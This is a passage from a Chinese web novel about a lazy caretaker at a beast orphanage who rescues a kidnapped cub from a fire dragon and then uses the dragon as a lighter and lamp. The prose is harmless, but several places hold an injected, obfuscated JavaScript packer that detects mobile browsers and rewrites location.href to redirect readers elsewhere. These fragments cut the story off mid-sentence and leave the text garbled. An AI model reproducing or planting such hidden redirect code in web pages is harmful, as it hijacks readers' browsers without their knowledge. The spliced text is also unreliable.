需要努力吃饭的舒泽,默默把空碗推过去,乖乖的,“吃不完的给我就好了。” 瘦瘦小小一条人,也没什么坏心眼子,就是吃得有点多。但是人家又买了那么多粮食。 日后都是要出社会混的兽,总不能让人知道,小时候养过的人饭都吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659859|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不饱吧? 熊铁锤咽下口中饭,放下手中碗,面容凝重,“我再去加个汤。” 白日受了“不干活,吃白饭”的指责,晚上的小灰格外积极,“铁锤你不要动!” 两只手并一条灰尾巴举如剑出鞘,“我去,我去!” 用青菜煮汤什么的,很简单,让他干!他不是那种让兽失望的懒兽兽! 熊大厨目露惊疑,脱口而出,“不至于吧?” “我只是说你懒,但你也不用下毒害死我们吧!” 小灰:“QAQ” 你不经意的细节,毁了我好多温柔。 舒泽肚子饱饱就爱搞事情,小小声,“你们不要再吵了,这样是不会有结果的。” “还是直接开打吧。” 皮皮:“……” 好坏的人。 一番酣/战,铁锤去烧水,小灰分配到了摘菜的任务,提着篮子屁颠屁颠的去了。 穷嗖嗖的保育院也就占了个地势偏远的优势,圈的地儿有整个山头,但是山下连个路灯都没有。 小灰借着月光蹦蹦跳跳,轻车熟路的找到菜地,小心翼翼的扒去外层叶子——中心小叶还能长,大大延长一颗菜的食用寿命。 收集了大半篮,应该够喂饱人了。 小灰高兴的准备返程,浑然不觉从脚尖开始蔓延的阴影,渐渐将他整只崽都包裹起来。 “?” 天黑了? “唰——” 月光下,一双羽翼猛然展开。体型巨大的喷火龙睥睨望着还没它一只脚大的拟人兽,不屑的冷哼了声。 掀起的气流把腿都吓软的小灰掀倒在地。 胆小如鼠但不会打洞的狼,嘴唇都白了,声音发虚,“你、你是谁啊?” “不要和他废话,直接抓走。”一道华丽优雅的男声响起,喷火龙刨了下爪子,冷漠无机制的冰冷竖瞳锁定小灰。 浑身僵硬,害怕到不敢跑的小灰无助的用尾巴卷住自己,“干什么啊~” 硕大的龙爪落下—— 风起,叶落。 被踩扁的竹篮孤零零的留在原地,绿油油的青菜碾进泥里,惊喜呵护的菜地一片狼藉。 小灰,不见了。 9. 第 9 章 铁锤还等着菜下锅去养嗷嗷待哺的人,结果半天等不到回来的兽。他抄起铁勺蹬蹬瞪的绕到后面去,“小——灰——” 昏昏欲睡睡睡睡睡的舒泽砸吧砸吧嘴儿,翻了个面。 远山呼啸而过的风,明月落下的冷晖,小崽崽扯着嗓子破掉的音,悉悉索索从脚边爬过的小虫。 一块儿石头砸进平静的湖面,飞溅的水珠,粼粼散开的涟漪。惊碎的心荡开余韵,身侧的感知无限放大,下一秒却飞似退去浩瀚天际。 镜中月水中花,无法触碰。 身负万千神力,却只能封锁在无边暗色之下,偶尔窥探其中一二便到了身体的极限。 好累。 舒泽过长的黑发覆住小半张脸,苍白的唇瓣发出梦中呓语。 连动一根手指都做不到。 “不好啦!不好啦!”熊铁锤惊慌失措的尖叫掀得房子都颤了颤,“小灰被兽抓走了!” 皮皮飞快朝那边赶去,一点都不见平时的迟缓。 舒泽睁开眼,一双黑眸像是藏了什么嗜血的野兽,亮得吓人。他直起身,郁郁不爽的捏了下拳,神色晦暗。 还是,感受不到…… “啪嗒——” 鬓角沁出的冷汗,滴落在地,隐入尘埃。 瘦瘦高高的人影已经远去。 —— “就是被抓走了!皮皮你快看这个爪印!”熊铁锤急切地在空中比划,“那么——大。” “他们为什么要抓走小灰?”熊铁锤气得眼睛都红了,泪汪汪的包着泪,但倔强的没有让眼泪掉下来,“他们不准我们住在上面,我们也下来了。” “分的物资不给我们,我们就自己种菜!” 小崽的嗓音里已经带上了无法克制的哭腔,胳膊一抹,“我们谁都没有招惹,干嘛都来欺负我们啊?” 皮皮还是没什么大的情绪波动,他蹲在地上仔细观察那个巨大的爪印,斩金截铁道:“是龙的。” 他担忧的扫向暗影重重的树林。 保育院里的龙形兽有三个,各自盘踞一块儿地,一时半会儿也无法确定到底是谁抓走了小灰。 而且他们的实力在整个保育院来说,都是顶尖的存在。他们三个本来就是实力最弱,被边缘化的兽,想要救回小灰不亚于蚍蜉撼树。 “为什么都欺负你们?” 沉思的皮晃晃耳朵,回头看见双手抱膝,蹲在旁边认真倾听的舒泽。 他什么时候过来的,完全没有注意到。 舒泽伸长耳朵等答案。 皮皮没说话,熊铁锤炸了,“还能为什么?!” “还不是因为我们三个长得像人类啊!”这下子是真的开始掉小珍珠了,熊铁锤像皲破皮的红苹果汪汪流汁儿,“所有兽都排挤我们。” 若真要论起来,保育院其实是建在山上的,毕竟兽兽都会更喜欢有遮蔽的地方。 这个一马平川的空地,纯属就是用来立牌子警示人类的缓冲地带。 但保育院很多兽兽都是经历过人心险恶才来到保育院的,三小崽因为长得像人,连带着被嫌弃,被赶到了这里生活。 熊铁锤越想越委屈,长相是它能决定的嘛?要是可以选,他难道不想当高大威猛的食铁兽,把欺负他的坏兽全都一掌拍飞吗? 皮皮还是没说话,但扇动的耳朵暴露了他的心情并不平复。 实打实的兽,但修成人形的舒泽望天沉思。 时尚是个轮回,他没生对时候。 为什么他生活的年代兽兽都想当人,每天都要辛苦修炼。而现在,生来就有,但却被嫌弃。 他试图开解两个小朋友,“其实,有个人形挺好的啊。” 熊铁锤短暂停止哭泣。 舒泽很是诚恳:“这样就不会有人骂你们没个人样。” 熊铁锤气得跺脚,“我本来就不是人,要什么人样啊!” 舒泽挠头,落在旁边的铁勺上目光逐渐坚定,“起码人形有手,你能做饭啊。” 熊铁锤:“……” 就是因为有手,才需要干活,才做饭。三个偷懒的家伙,全都等着他来喂。 兽兽稚嫩的心受到毁灭级打击,“到底谁愿意当人啊!” 当牛做马都不要当被压榨的人。 把崽哄崩溃的舒泽:“……” 那时间见他哥哄崽儿也没那么困难啊,甚至话都不用说,撸两把头就都好了,为什么到了他这里就不行了? 肯定是现在的兽兽背着他哥进化,和原来单纯好哄的兽不一样。 “啧。” 世风日下,兽心不古。 舒泽逻辑自洽的说服了自己,把兽兽惹生气什么的才不是自己的问题。 自觉已经哄过的舒泽直接进入下一议题,“我们去接小灰回来。” 熊铁锤的嚎叫戛然而止,皮皮也看向他。 “嗝——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659860|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >熊铁锤捂着上下起伏的肚子,“你找得到小灰啊。” 舒泽捡起地上的羽毛朝着天上一抛,轻飘飘的羽毛悠悠晃了几下,被无形的气团托住,固执的指着北方,像是在指路。 熊铁锤鼻涕回流了还傻傻的望着,干巴巴的,“你、你那么厉害啊?” 他好像养了一个很不得了的人。 舒泽和他一个姿势,新奇的望着那根羽毛。摸摸下巴,“这事吧,其实我也是刚知道。” 俩崽儿:“?” * “唔——呜呜呜————” 洞穴内,似风吹似哭嚎的声音,久久回荡,3D立体环绕。余音未消,新的又加入节奏,嗷了个呜没个断绝。 “不是!” “你到底有完没完啊!” 优雅低沉的男声已经彻底暴躁,喷火龙迈着外八啪嗒啪嗒跑出来,抬起脚对着小灰就是一指甲盖。 小灰被戳得四仰八叉,瘪着嘴想哭不敢哭。 “大半夜的!不睡觉嚎什么嚎!” 吵得龙睡不着觉! 它虽然变回了原身大小,但还是比小灰这个萝卜头大了好几圈,偌大一个龙头怼在小灰面前,龇牙怒吼。 满嘴獠牙,都能看见喉咙管。 它恶声恶气的恐吓,“你再叫一声,我就把你烤熟!” 小灰圆圆一团,叼着自己的尾巴瑟瑟发抖,见龙要走了,嗫喏道:“请、请问,您能把我嘴巴堵住吗?” 龙:“…………” 你说他胆子小吧,都被绑了,还敢提要求。 你说他胆子大吧,他还就提了个当好人质的要求。 小灰说完后又重新咬着尾巴,见龙不动也不走,又吸吸鼻子,说道:“谢谢你哦。” 都那么惨了,兽还不能哭,他做不到哇。 诡异的气氛在山洞里蔓延。 龙一下子就炸了,“嘿!你当你是来做客的啊!” “麻烦死了!” “那真的要搞死吗?” 喷火龙不耐烦的用尾巴砸地,激情喷麦,“死什么死!我是那么残暴的龙吗?!” “哦~”舒泽略一思酌,“那我把他带走?” 这样就不用麻烦死了,但又不能真的死。 没睡好,想鲨人的龙:“带哪儿——” “我艹草操??”它终于反应过来了,像个企鹅似的,晃呆晃呆的转过身,“你谁啊你?!” 10. 第 10 章 哭唧唧的小灰活过来了,又哭又叫,忙得乱七八糟,“嗷!救命!呜——救命哇!” 一套音波攻击把本来就躁的龙兄干崩溃了,张开大嘴,转头就是口气袭击,“闭嘴!!!” 粗壮的尾巴尖尖燃起火苗,黑糊糊的山洞擦出亮光,站在洞口处的舒泽并身后一左一右俩幼崽十分有存在感。 舒泽见龙兽发怒,头发丝儿都没撩一下。想去救好朋崽的熊铁锤和皮皮,抓住舒泽的裤子抖抖抖。 巨龙眯起狭长的眼藏住暗光,伸长脖子仔细打量舒泽,“你就是那个新来的保育员?” 说着说着,哈喇子都要掉下来了。这口气,不像是在问饲养员,而是在问“饲料原”。顺带嫌弃,食材有点柴,看起来口感不是很好。 在那么短的时间找到这里且单枪匹马的闯上来,想必这个人类也是做足了准备。 但不外乎就那么点手段,这附近已经提前安装好了信号干扰器。厉害的武器在这里就是破铜烂铁,简单的手木仓也不可能伤害到它。 巨龙用鼻孔重重哼了声,哼得尾巴尖尖的火苗都在颤动。 不管怎样。 这个人类,死定了。 某个死定了的人类,盯着那一撮晃来晃去的火苗,眼睛一点一点亮起来。 这个兽,看起来是一种很环保,可持续发展的新能源。 山下房子没有路灯,上厕所挺不方便的。要是有了这个打火机,烧水也不用砍柴了,兴致来了还可以搞个烧烤…… 是个好兽。 “怎么?不说话是怕了?”龙兽瞧着对方那瘦小的样子,连大招都懒得放,爪子前倾,尾苗蓬的一下变大,“到了我的地盘,想走可没那么容易。” 看不见的能量波动扫荡,虫鸣鸟叫,连风声都在此刻抽离。战火已燃,冲突一触即发。 舒泽动了,他缓缓抬起右手,掌心朝外做了一个制止的姿势。 龙兽警觉后撤,要来了…… 邪恶的人类,让我看看你都有什么手段吧! 万众瞩目下,舒泽低头,和瑟瑟发抖的熊铁锤对上眼。 铁锤咕嘟咽口水,“干、干森么。” 崽已经吓到说不清楚话。 虽然这人一招秒了苏尔,但那只是苏尔啊!面前这可是保育院里数一数二的厉害兽。 听说,它曾经和一任保育员对着干,对方急了死活要把它锁在笼子里。它愣是拼着一身蛮力闯了出来,再用自己的烈火把对方烧成了一把灰…… 他不会害怕了,想把崽丢出去拖延时间,自己跑路吧? 舒泽默默的加重了左手的力度,有点愁,“你可以放开我的裤子吗?要掉了。” 带这些调皮幼崽真是麻烦。 熊铁锤:“0.0” 龙兽:“…………” 就这? 就这?! “你们带小灰走。”舒泽落在两崽的头上,安抚的摸了摸,往前面一推。 轻飘飘的,还是没什么劲。熊铁锤踉跄了下,回头望,看不清舒泽的脸,心慌慌的。 皮皮用力拉住他的手,蹭着洞穴边缘试探性的往里走。喷火龙只专注和舒泽对峙,连眼神都没给小老鼠一个。 熊铁锤快速把僵掉的小灰扛起来,皮皮举起后腿儿,俩崽儿像抱了根杆似的,啪嗒啪嗒整齐离场,头也不回隐入夜色。 三个小卡拉米,喷火龙看都懒得看一眼,甚至因为刚刚的掉裤风云找不到打架感觉,没好气的问,“这下可以开始了吗?” 舒泽还在馋喷火龙的尾巴,听见问询第一反应是,“可以烤了?” “两串鸡翅,一把牛肉两个五花,苕皮豆干,少点辣椒要吃折耳根谢谢。” 一串流利的报菜单后。 世界,安静了。 龙兽:“……” 舒泽无辜的吞了吞口水。 “可恶的人类!居然敢戏耍我!”龙兽彻底发怒,扬起的尾巴奋力一甩! 偌大的火球直扑舒泽而去!暗色划出灼热,所到之处腾起扭曲的灼浪。 热风已至,撩起舒泽半长不短的发,眼看火舌马上就要舔上发尾,舒泽这才不慌不忙往旁边灵巧一闪。 刚刚站的位置被烧得滋啦作响,焦黑的地面飘起袅袅浊雾。 舒泽:和炭烤肉一个感觉诶~ 龙兽懊恼的跺脚,“哼!这次让你侥幸躲过,我不信你运气有那么好。” 虽然嘴上是那么说,但是舒泽淡定的姿态已然让它升起了危机感,不敢再轻敌。 只见它张开血盆大口,迈着外八冲出洞口,身形猛然膨大!硕大的龙爪落下,夯实的泥土地变成了蓬松的新雪,轻轻松松凹出爪印的形状。 比起苏尔那种面目全非的进化方向,它就显得比较清纯不做作多了。等比例放大,也就背脊上生出一对白色翅膀,悍然一扇,卷起狂风。 尘飞漫天,扬天长啸,乌云散乱,圆月染上血色。 舒泽嫌弃的捂住口鼻,不是很理解。现在这些兽,变身时间长就算了吧,还非整得那么不干净。 巨龙竖瞳半眯,“人类,落在我手上你应该庆幸。” “起码我喉咙大,吞你的时候还能留个全尸。” “你喉咙大不大我不知道。”按道理来说,舒泽那么小一只,巨龙变大后,应该听不见那么微小的声音才是。 但他明明没有提高音量,却清晰的传到了巨龙耳边,“但是你肯定眼睛不太好使。” 面对巨龙脚后跟的舒泽如是说。 虚着眼睛悄咪咪找人的巨龙:“…………” 恼羞成怒的巨龙扇动翅膀,原地腾空转身。 “对付你,我根本就不用正眼!” 风鼓起舒泽的衣袖,清瘦的身形如同展翅欲飞的仙鹤,他在狂乱的风中,轻声说了句,“好巧。” 懒丧褪去,无害的剑鞘褪去,锋芒尽现,舒泽扬起修长的脖颈,“其实,我也有翅膀。” 脚尖轻点,驭风而起,如仙人临世。手腕翻飞,如葱白修长的指尖落于嘴边,舒泽闭上眼,启唇轻吟,繁复华丽的金色咒文如流水卷起落花倾泻淌出。 金光浮现,舒泽身后的虚影逐渐成形。凶恶咆哮的老虎自天地孕育,迈着优雅的步子靠近,山河共震。眉心一点俏皮桃红,但獠牙已现,霸气非凡。硕大的翅膀展开,遮天蔽日。 古老繁复的符文环绕身侧,像是维护,更像是枷锁。 上古凶兽——穷奇,再现人世。 刚刚还像个大型卡车的巨龙一下子被衬成了小卖部门口的摇摇车。 喷火龙被吓到不会飞,笨拙的落在地上,踉跄一下惊恐后退,“这、这是什么啊?!” 高科技时代,你和我玩儿玄学啊! 舒泽睁开眼,身后的虚影眼中冒出金光,矫健威猛的身体下压——那是战斗的号角,危险的讯号。 三只跑得气喘吁吁的小兽像是受到了什么压制,啪嗒一下跪倒在地。熊铁锤肚子一鼓一鼓大喘气,不可置信的回头,“是那边传来的!” 兽类天生对危险的敏锐感知力告诉他,那边有非常、非常、非常危险的同类,要赶紧逃命! 这次的预警,比以往的每一次都要恐怖,连体内的血脉都在沸腾哀鸣。只要碰上面,他们绝不可能有生还的可能。 没有想到喷火龙的势力竟然强到这一步! 皮皮很难有表情的脸上也流露出担忧。 哭得眼睛都肿了的小灰,脸白一块儿灰一块儿的,使劲压着哭腔,“怎么办啊?人还在上面,他要死了吗?” 人是为了救他才来的,但是他们就这样抛下了人自己逃命。是不是、是不是不太好啊? 熊铁锤咬紧牙关,明明出生也不过一两年,外表也只是人类小孩儿五六岁大小的模样。但这个残酷的世界,已经教会了他太多。 他紧钻拳头,声音沙哑,“管我们什么事?我们又救不了他。” “而且,他还是人。” 四下寂静,只余小灰微弱的啜泣。 激荡的波动越过丛林,扫过人来人往的街市,从书房未关的窗穿堂而过。 连着几天都只睡了三个小时的傅宴川合衣躺在沙发上,眼下青黑一片。 睡得并不安稳的他突然睁开眼,摸着疯狂跳动的心脏坐起来。 傅宴川平复了好一会儿,耳边如潮水般涌来的轰鸣声才渐渐隐去。唇色发白,鬓角已然湿透。 他虽担着一个帝君的虚名,但周身神力尽散,说来也没比人类好到哪里去,做个噩梦给自己吓成这样。 傅宴川自嘲一笑,哑着嗓子,“小七。” 【在的】 “发出去的启示有消息了吗?” 【一共获得了138条线索,但很遗憾,查证后都不是您要找的猫。现在我已经进一步扩散,扩大至整个星系进行搜寻】 傅宴川在听见138条线索时,眼前一亮,但在听见都不是后,又迅速沉寂下来。 但凡有一点可能性,小七都不可能将消息排除,那么多线索,居然连一条都没有。 重金之下必有勇夫,小泽若是在外面,那些人肯定将桥洞河沟都翻了个遍,怎么都不可能找不到。 如今算来,还是被人绑走的可能性更高…… 这些年,他还是做得太高调了些,两边立场的人看他都不顺眼。这些日子他对伐异党穷追猛打,也没见得有人按耐不住找上门。 那就有可能……在求同派的手里。 傅宴川声音又哑了几分,“麻烦小七,继续跟进。” 【收到,请您放心】 * “砰——” “啪——” “啊————” 巨龙被凶兽玩弄于鼓掌之间,勇敢向前冲,摔倒在地。再次向前冲,再次摔倒在地。 再次……循环往复,越努力越心酸。 再次被当做一个皮球踢出去的巨龙破防了,哀伤的倒在地上,“够了……我说够了!” 他缩回原来的大小,彻底摆烂,“你要咋地就咋地,要吃吃,要杀杀!” 兽可杀,不可辱!要留清白在此间! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从它来保育院的第一天起,就和这个傻大个呆在一起。它有脑子,傻大个有武力,这才在危机四伏的世界里寻得一份安稳。 明明只是各取所需罢了,到了这个时候,居然还想护着他。 真的是个傻大个。 感天动地朋友情,好学生舒泽捧着手册不耻下问,“所以你是什么品种的鸟?” 小鸟急得直跳脚,“你就非要问问问!” “长白山尾雀!行了吧!你满意了吧!” 舒泽遗憾的啊了声,“又猜错了。” “我还以为是鹦鹉呢。” 小嘴儿叭叭的,也不见得停。 成功做完登记的舒泽打了个哈欠,“明天中午十二点,记得来山脚下报道。” 小鸟诧异,“你不杀我们?” 还有,“报道什么?” 舒泽上下眼皮子已经开始打架,很不理解的反问,“我是来照顾你们的保育员,我为什么要杀你们?” 到时候谁敢给他发工资。 小鸟噎得说不出话来,虽然这个人不杀他们很奇怪,但说出要照顾他们这种话来更奇怪好吧! 为了配合这搭好的戏班子,舒泽把这几天积攒的精气神全都用了个空。他丧丧的往回走,还不忘转过头威胁,“你们明天要是敢不来,我就把你们都鲨了。” 瘦长瘦长一条人,还没尾巴长,放起狠话来还挺认真。 见识过对方恐怖实力的小鸡小鸟:“…………” —— 顺着道往下,就算天色昏暗,但舒泽走起来却完全不受影响——也不能说完全不受吧。 他丧丧的看着自己的腿儿,锤了下,“死腿,快走啊。” 但腿的意志是无法独立于懒惰思想之外的,舒泽只能拖着沉重的步伐继续前行。 又走了两百米,感觉差不多了,找了个舒服的角度,娇弱倒下并大声呼喊,“哎—~呀!” 三双毛茸茸的耳朵咻——的一下就从草堆里弹出来。 熊铁锤举着两根树杈,目瞪口呆,“是人!” 小灰:“他没有噼里啪啦!” 皮皮:“是七零八落。” 自知上去也救不了人,就准备躲在草丛里捡点碎片回去埋了的三小只兴奋的冲出来。 “有气!有气!” 都来不及思考后面有没有追兵,皮皮指挥着小伙伴一起使劲,把舒泽扛起来就往下跑。虽然那个破板房不一定安全,但动物的本能驱使他们遇到危险往巢穴躲。 舒泽在颠簸中闲适的翻个身,沉沉睡去。 不用自己走路的感觉,真好。 在三小只费劲巴力的把舒泽放到床上后,舒泽调动全身意志,反手抓住了熊铁锤的手。 小胖崽要哭了,抹眼泪问他,“还有什么心愿你就说吧。” 舒泽虚弱无力的蠕动嘴唇,“明天中午,多准备点肉……” “吃烧烤。” 阿崽:“…………” 11. 第 11 章 交代完菜单,舒泽脑袋一歪失去意识。 小灰吸吸不受控的鼻涕,蹭到床边垫起脚尖,尾巴搭在床沿,委屈的哭腔,“他终于死了啊。” 皮皮:“……” 老实说,他有时候都不知道,小灰是真想让他死,还是不想让他死。 熊铁锤一屁股坐成三角饭团,没好气道:“他就算真死了,嘴巴还会吃烤肉呢,可怕得很。” 张口就来,根本就不管厨子的死活。 但他救了小灰,还让他们先走自己殿后…… 是个好人。 “诶,这个人叫什么来着?” 两双清澈愚蠢的大眼睛看向唯一一个脑子。 皮皮:“……不清楚,叫他园长吧。” 不知不觉间,他们三个都认同了舒泽的存在。或许,是人还是兽,本来就不是那么重要的事。 感情才是唯一的评定标准。 三崽静静围在舒泽床边,三双毛茸茸,毛色形状各异的耳朵贴在床边,像是守护,又像是寻求庇护。 睡意正浓的舒泽,梦得干柴烈火,香气四溢,小脸红扑扑的挣扎了下。 “烤五花……” …… “烤五花!” 三只崽缩在床脚抱团成圆,见势不对随时滚路。而舒泽则像瘫痪三年再见亲人的残疾人。很兴奋,很急切,但是在床上,只有脖子以上在动。 恨不得直接伸出窗外,仔细观看。但是那被子都不带露出缝。 “院院院、院长。”受伤害最深的小灰蛄蛹到舒泽耳朵边,“它是来吃我们的吗?” 舒泽不太在意他们的称呼,语重心长的,“灰啊。” 小灰:“?” “说话别抖,你直吹气儿,我耳朵痒。” 小灰:“0.0” 蹲在窗外却被无视的龙龙很憋屈,但龙龙打不过,粗声粗气,“你叫我来到底干嘛?” 难道就是为了看他睡觉吗? 它一激动,尾巴上的火苗就越烧越旺。 舒泽意味深长,“保持你的态度,我很喜欢。” 龙:“……” 神经病啊! “铁勺。” 静—— 舒泽抱着被子,疑惑的坐起来,“铁勺?” 被视线锁定的熊铁锤,屈辱应声,“你在喊我吗?” 舒泽用眼神反问,不然呢? 熊铁锤都无暇顾及窗外的恶龙,汪的一声就哭出声,邦邦捶床,“我是铁锤!铁锤!” 什么铁勺啊! 本来那么霸气的名字,被改成什么了啊! 他真的生气了! 脑子里面只装得下吃的舒泽:“呀……” “都是铁,差不多啦~” 三角饭团哭得更大声了。 但是他只能哭,他能怎么办嘛,连最强的兽兽之一都乖乖听话,他能怎么办嘛! 哭急眼的三角饭团左看右看,凶狠的捞起被子用眼泪哭湿棉花,流走对方的温暖。 借着被子的遮挡熊铁锤哭得龇牙咧嘴。如果你惹毛了我!那你就会摸到一手毛茸茸! 屋外瞪着俩大眼睛观看的龙兽,头顶冒出一撮白毛,小鸟瞪着俩黑黑豆眼,心情复杂。无语中透着一丝幸灾乐祸,“还以为他有多宠这三只呢,结果也就那样吧。” 连名字都记不住。 巨龙:“嗷~” 你说得对—— 对啥啊! “院长,这些肉够了吗?” “唔,再切三盘五花吧。” “院长!院长!这是我刚撅的生菜,已经洗干净了~” 套上围裙,坐在烤架旁的淡定皮点头示意,我已准备就绪。 坐在小板凳上乖乖等饭的舒泽,“麻烦你,开火。” 蹲在一边,把尾巴伸到烤架下的龙兽沉默良久……良久……终于忍不住咆哮,“所以你叫我来就是干这个的?!” “喔喔喔!火来了来了!” 铁锤和小灰俩俩搭配,把串好的肉和蔬菜整齐摆列,不急不躁的皮师傅翻面刷料,行云流水。 “哎呀,这个火有点大,容易烤糊的。”经验十足的老师傅熊铁锤如是说。 捕捉到关键词的舒泽扭头,“把火调下一点。” 巨龙:“呵。” 你说调就调啊,你谁啊你? 舒泽笑眯眯的捏断手里的树枝。 “咔嚓——” 听着像腿骨折的声音。 “……” 龙兽优雅蹲在地上,高傲扭头。他才没有被吓到,他只是站累了,休息一下。 火终于小了。 焦急翻面的三崽得以喘息,并将香喷喷的烧烤端到了舒泽面前,“院长~可以吃了~” 小灰转过身,撅起尾巴旋成陀螺,“院长你等等~我给你吹~~” 三个崽崽忙前忙活,房前屋后弥漫着烧烤的香气。舒泽果然没有感受错,用巨龙尾巴火焰烤出来的烧烤也确实有类似炭熏的味道,甚至还带些微果木香。 往忙碌的三崽嘴里塞菜,大口啃着生菜的熊铁锤不乐意,“我是吃肉的凶兽!” 舒泽抄起一根笋堵住了小胖子的嘴,无比怜爱,“多吃点。” 小灰皱眉咽下嘴里的肉,抱着青菜屁颠颠的坐到皮皮身边,排排坐,吃菜菜。 蓝天白云,房前屋后,袅袅白烟,摇椅上的舒泽,乖巧的三只汤圆,竟出奇的和谐,一派惬意的田园风光。 巨龙口水直冒,但又不可能开口找舒泽套吃的,只能闭紧了嘴巴四十五度角仰天。 别低头,口水会流。 但是龙兽的嘴巴实在太大了,那不争气的口水还是从嘴根滴答滴答的滑落。恨铁不成钢的小鸟使劲叨巨龙脑袋,“你个不争气的玩意儿!” 它没好气的操控巨龙转头,张口能吞三个熊铁锤的厚嘴轻启,恶声恶气,“我可以回去了吧?” 舒泽左眼睁开半边,一副你怎么会问出这种愚蠢问题的表情。 “……” “那我还要留在这里干什么!” 烧烤就算了吧,难不成还想把他留在这里当打火机啊! …… 缩在四面透风的铁笼子里,巨龙两眼空空,无语望天。它真傻,真的。光是想到了打火机,但是没想到,它还能当路灯! 测算好距离的舒泽满意拍手,“灯儿,亮一个。” 巨龙双爪抱头,尾巴噗出一团火,刚好照亮了睡觉板房到厕所之间漆黑的路段。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659862|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成功解决了山下没有路灯的困境,一家四口正式进入光明时代,晚上上厕所再也不用担心掉茅坑里面去啦。 “哇撒~~” 三崽整齐拍手,呱唧呱唧呱唧唧,“棒!真棒!非常棒!” 巨龙“嘤”的发出一声哽咽,这个世界对兽太残忍了。 它回不去了,白天当打火机,晚上当路灯。曾经瞧不起的小崽子,每天举着个火把走到他身边,拧一下尾巴出一团火,再兴高采烈的回去煮饭。 偶尔还要cos一下篝火,让他们围着尾巴烤火转圈。 曾经的保育院一霸彻底被生活磨平了棱角,不论白天还是黑夜,总是那么向往外面的世界。 明明穿过铁栏的还是一样的光,但是他怎么就觉得那么冷呢?是因为照亮了别人,留给自己的只有无尽的黑夜吗? 大晴微风 舒泽难得早起,在11:52分就推开了大门呼吸新鲜空气。又长了点的黑发往后一撩,露出精致的眉眼,浑身的丧起都被太阳蒸掉了七七八八。 但根据能量守恒定律,丧气只会转移,不会消失。短短四天,灯儿憔悴得没个龙样。 脖子使劲往上抬,沉重的脑袋还是贴在地面,拱出了抛物线,美成了石拱桥。 他幽幽的“嗷~”了声,小鸟发出沉重的男声,“这么好的太阳,我怕是,再也看不到了……” 舒泽摸着下巴反思,好像,兽要不行了? 这灯可就那么一个,用坏了还真不好找第二个。 “哈喽。”他伸出手戳戳龙,“还活着吗?” “呵。”小鸟仰倒在脑袋上可劲蛐蛐,“搞那么多没用的东西干什么?你想要什么我还不知道吗?用得着用上这样的手段吗,整得谁和你很熟似的。” 被逼疯了的兽胡言乱语,“我们这些卖/身/子的,和客人有什么好谈心的……” 巨龙眼睛都懒得睁一下,把尾巴甩过来,撮出微小的火苗。刚来的时候还是个火把,现在真的快成打火机了。 “嗷~” “要就快点吧,等下就撮不出来了……” 舒泽摸摸脸,有点怀疑自己是不是对兽太狠了,“……其实,我是想说说,你们可以大小休。” 本来想的是单休,但话到嘴边还是不忍,换成了大小休。舒泽真的是,被自己的好心所感动。 看着尾巴的火力噌噌噌变大,他在心底高兴的夸自己。 不愧是他!连可持续发展都知道! “你明天就可以休息一天了。”舒泽凑到巨龙脑袋旁恶魔低语,“其实也不是想这样对你,主要是没有替代的兽。” “你只要介绍个同事来,你就可以轮班了,到时候你就可以上三休四,上四休三,你想想,是不是比单双休舒服好多好多……” 龙兽的尾巴啪啪砸向地面,火球一个接一个往外头甩,三个小崽跟在后面用盆借——它甩出来的火球可以当固体燃料使用,可不能浪费。 这几天的班味儿实在太重,把脑子都糊住了。舒泽的“同事诱惑”连聪明的小鸟都没意识到哪里不对。 “好!”它喜气洋洋的,“争取这个单休,我就把合适的兽带来!” 全然忘记,自己本来,也不用上班的啊…… 12. 第 12 章 深藏功与名的黑心老板欣慰鼓励,“你有那么强的主观能动性很好,明天多放半天,给你找冤大、咳咳,同事的机会。” 又多了半天假!不知道舒泽叫啥名,它跟着三个小崽子喊,“谢谢院长!” 熊铁锤挠挠脸,“我总觉得哪里不对劲……但是又说不上来。” 皮皮人淡如莲,“没什么好想的,抱紧他的大腿,轮好你的铁勺就好。” 这个人类,不仅武力值恐怖,那心眼子也跟菠萝似的,全是坑。 * 到了时间,巨龙欢天喜地的回家。蹦蹦跳跳到了家门口,一寻思,不对。 小鸡小鸟搁那儿合计,转头就往泥潭里一倒,翻涌翻涌裹上灰扑扑的泥,瘸了个后腿儿就往隔壁山头走。 要发光的动物,那可真的是,太好找了…… 